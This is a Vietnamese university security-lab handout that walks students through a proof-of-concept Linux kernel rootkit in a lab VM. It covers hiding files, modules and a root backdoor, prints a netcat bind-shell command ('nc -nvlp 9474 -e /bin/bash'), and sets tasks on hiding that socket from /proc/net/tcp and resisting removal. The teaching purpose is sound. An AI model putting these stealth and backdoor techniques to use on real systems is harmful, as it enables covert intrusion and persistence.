Trường Đại học Công nghệ Thông tin, ĐHQG-HCM
Phòng thí nghiệm An toàn Thông tin

# 8

# Lab

# Kernel Rootkits

## Thực hành Cơ chế hoạt động của Mã độc

**Lưu hành nội bộ 2023**

# A. TỔNG QUAN

## A.1 Mục tiêu

- Tìm hiểu cách thức hoạt động của Rootkit
- Lập trình kernel mô-đun
- Xây dựng kernel rootkits

## A.2 Mô tả

Bài thực hành này sẽ hướng dẫn cách để xây dựng một kernel rootkit. Sau đây là các hành động chính mà một kernel rootkit có thể thực hiện:

- Ẩn rootkit source và các tập tin object khỏi filesystem (b4rnd00r.{c,ko})
- Ẩn rootkit ra khỏi danh sách các mô-đun đã tải lên của kernel (bằng cách xoá /proc/modules)
- Ẩn thư viện parasite (libtest.so.1.0) khỏi /proc/PID/maps và cả filesystem
- Tạo một backdoor cục bộ để chiếm quyền root bằng cách hiển thị tập tin device tại /dev/b4rn. Khi người dùng viết một chuỗi đặc biệt (special string) vào tập tin đó, người dùng sẽ chiếm được quyền root.
- Ẩn tập tin device chứa các chuỗi đặc biệt backdoor (/dev/b4rn)

## A.3 Thời gian thực hành

- Tại lớp 5 tiết.
- Tại nhà 7 ngày.

# B. CHUẨN BỊ MÔI TRƯỜNG

- **1 máy SEED 16.04 Ubuntu VM** (https://drive.google.com/file/d/12l8OO3PXHjUsf9vfjkAf7-I6bsixvMUa/view)
- Trong VM, thực hiện lấy code bằng cách clone repo dưới đây:

```
$ git clone https://github.com/khale/kernel-rootkit-poc
```

* Đọc kỹ hướng dẫn trong tập tin README có trong repo trên, chuẩn bị mọi thứ cần thiết cho máy SEED VM để tải rootkit.

# C. THỰC HÀNH

## C.1 Đọc và hiểu code

> **Yêu cầu 1** **Đọc, giải thích code và xác định entry point của kernel mô-đun (b4rn_init()) được gọi sau khi mô-đun được load bởi kernel (ví dụ bằng *insmod* hoặc *modprobe*).**

## C.2 The Backdoor

> **Yêu cầu 2** **Trả lời câu hỏi sau: Kẻ tấn công có thể sử dụng backdoor do rootkit tiết lộ để truy cập từ xa được không? Giải thích lý do tại sao và tại sao không.**

> **Yêu cầu 3** **Nhận thấy rằng đây là một backdoor khá thô sơ. Chắc chắn có nhiều cách khác lén lút hơn để thực hiện việc này (ví dụ: để chúng ta không tạo tập tin device không mong muốn trên hệ thống). Hãy tìm cách khác để thực hiện điều đó.**

Ngoài ra, đã có nhiều nỗ lực bất chính nhằm tạo backdoor cho chính bản thân kernel đó, mặc dù chúng không thành công. Điều này không bị giới hạn bởi bất kỳ phương tiện nào đối với không gian kernel. NSA bị nghi ngờ đã backdoor một thuật toán tiêu chuẩn được sử dụng rộng rãi để mã hóa. Ví dụ về backdoor yêu thích của người tạo ra bài thực hành này là một backdoor được trình biên dịch C đưa vào chương trình đăng nhập UNIX, do chính UNIX nghĩ ra. Chắc chắn đáng để đọc.

## C.3 Hiding in Plain Sight

**Yêu cầu 4 (BTVN) Giải thích lý do tại sao chúng ta phải:**

**(1) sử dụng *con trỏ hàm* (function pointer) và *hàm kallsyms_*()* để gọi một số thường trình nhất định (certain routines)**

**(2) thao tác *cr0* và *bảo vệ trang* (page protections) để cài đặt phần *ghi đè hàm* (function overrides) của chúng ta.**

**Yêu cầu 5 (BTVN) Giả sử ta muốn gây khó khăn cho quản trị viên hệ thống trong việc xóa rootkit của ta ra khỏi hệ thống. Vậy có thể làm gì để ngăn chặn điều đó? (Gợi ý: có lệnh gọi hệ thống *reboot()*).**

## C.4 Mở rộng Kernel Rootkits

Đối với phần này, ta sẽ mở rộng b4rnd00r để giấu một backdoor từ xa (tức là một bindshell đang chạy trên hệ thống). Đầu tiên hãy chạy một lệnh bind shell như sau:

```
$ nohup nc -nvlp 9474 -e /bin/bash >/dev/null 2>&1 &
```

Mở lắng nghe trên port 9474, và một client kết nối đến, nó sẽ sinh ra một shell và gửi output trở lại network socket. Lệnh *nohup* ngăn chương trình netcat không bị thoát ra sau khi ta đăng xuất khỏi hệ thống (điều mà ta có thể sẽ làm sau khi đã chiếm được một máy và thiết lập backdoor). Việc chuyển hướng chỉ làm tắt đầu ra ở phía server.

Nếu ta đã thiết lập kết nối mạng cho máy ảo của mình, ta sẽ có thể truy cập bind shell này như sau từ máy host của mình:

```
$ nc 9474
```

Ta cũng có thể truy cập nó bằng mạng NAT, nhưng ta sẽ phải chuyển tiếp port 9474
bằng trình ảo hóa của mình. Có lẽ việc sử dụng mạng bridge sẽ dễ dàng hơn. Khác với
chính quy trình ***nc***, kiểm toán viên có thể nhìn thấy socker đang lắng nghe khá dễ dàng bằng cách sử dụng lệnh ***netstat***.

```
$ netstat -tl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 cato:domain 0.0.0.0:* LISTEN
tcp 0 0 localhost:ipp 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9474 0.0.0.0:* LISTEN
tcp6 0 0 localhost:ipp [::]:* LISTEN
tcp6 0 0 [::]:9474 [::]:* LISTEN
```

Điều này là không tốt nếu ta đang cố lén lút. Chúng ta có thể đoán được rằng thông tin này đến từ nhân, và gần như chắc chắn là từ ***/proc*** ở đâu đó, và ***netstat*** thực sự chỉ là lớp phủ output của kernel. Chúng ta có thể đào bới để tìm ra nơi chính xác như sau:

```
$ strace netstat -tl 2>&1 | grep "^open" | grep "proc"
openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
```

Chắc chắn, ***netstat*** thực sự chỉ là một trình bao bọc xung quanh giao diện /proc. Hãy xem thông tin thô trực tiếp từ nguồn (kernel):

```
$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt
uid timeout inode
0:    017AA8C0:0035    00000000:0000    0A    00000000:00000000
00:00000000 00000000 0 0 34934 1 000000007060ba94 100 0 0 10 0
1:    0100007F:0277    00000000:0000    0A    00000000:00000000
00:00000000 00000000 0 0 30174 1 00000000d07a82df 100 0 0 10 0
2:    00000000:2502    00000000:0000    0A    00000000:00000000
00:00000000 00000000 1000 0 59441 1 000000003a4d11ec 100 0 0 10
0
```

Bây giờ, ta đã có thể thấy tại sao ***netstat*** tồn tại. Output này là khá mù mờ. Tuy nhiên, nếu chúng ta nhận ra rằng **9474** thực sự là **0x2502**, ta có thể dễ dàng xác định bind shell của mình. Điều này cho chúng ta một gợi ý về cách ẩn kết nối của ta sau đó, bởi vì ta thực sự
chỉ cần xóa output này để loại bỏ dòng đó trong rootkit của ta. Đây là nhiệm vụ cần làm.

> **Yêu cầu 6 (BTVN): Thực hiện lại các bước trên và đưa ra kết quả, giải thích.**

Gợi ý:

- Có thể sử dụng cùng một kỹ thuật ***seq_file*** được sử dụng cho file **maps**.
- Socket network cũng được hiển thị trong **proc**. Ta sẽ tập trung vào TCP (IPv4). Do đó, cần xem qua **/proc/net/tcp**.
- Các thư mục **proc** cho **/proc/net** được tổ chức trong một cây đen đỏ (red black tree). Xem tại đây và hiểu cấu trúc ***init_net*** từ header ***net/tcp.h*** và

trường member ***proc_net*** của nó. Ta sẽ muốn sử dụng các hàm trợ giúp do Linux cung cấp như *rb_first()*, *rb_last()*, *rb_entry()*, *struct proc_dir_entry*, v.v.

- Khi ghi đè tập tin **seq**, cần sử dụng cấu trúc ***inet_sock*** (có thể lấy cấu trúc này từ con trỏ **V** trong trình xử lý **seq** của mình bằng cách sử dụng hàm trợ giúp ***inet_sk***). Cần trích xuất số port từ cấu trúc socket (xem **ntohs()**).

## D. THAM KHẢO

1. Giới thiệu về mô-đun kernel Linux
2. Bài viết về Linux VFS, proc và root filesystems
3. Tài liệu kernel trên các tập tin seq
4. Ví dụ về Rootkit
5. Bài viết về bind shell, reverse shell, v.v.
6. Sysdig
7. Xem lại về MULTICS security

## E. YÊU CẦU

– Sinh viên tìm hiểu và thực hành theo hướng dẫn theo nhóm đã sắp xếp.

– Báo cáo kết quả chi tiết những việc (**Report**) đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có), video demo (điểm cộng) đăng tải Youtube với chế độ unlisted.

**Báo cáo:**

– Làm báo cáo trên file **mẫu**.

– File **.PDF**. Tập trung vào nội dung, không mô tả lý thuyết.

– Trong file báo cáo yêu cầu **ghi rõ** nhóm sinh viên thực hiện.

– Đặt tên theo định dạng: [Mã lớp]-Lab5_MSSV1-MSSV2.pdf
*Ví dụ: [NT230.N2X.ATCL]-Lab5_1552xxxx-1552yyyy.pdf*

– Nếu báo cáo có nhiều file, nén tất cả file vào file **.ZIP** với cùng tên file báo cáo.

– Nộp file báo cáo trên theo thời gian đã thống nhất tại courses.uit.edu.vn.

**Đánh giá**: Sinh viên hiểu và tự thực hiện được bài thực hành. Khuyến khích:

- Chuẩn bị tốt và đóng góp tích cực tại lớp.
- Có nội dung mở rộng, ứng dụng trong kịch bản phức tạp hơn, có đóng góp xây dựng bài thực hành.

*Bài sao chép, trễ,… sẽ được xử lý tùy mức độ vi phạm.*

**-HẾT-**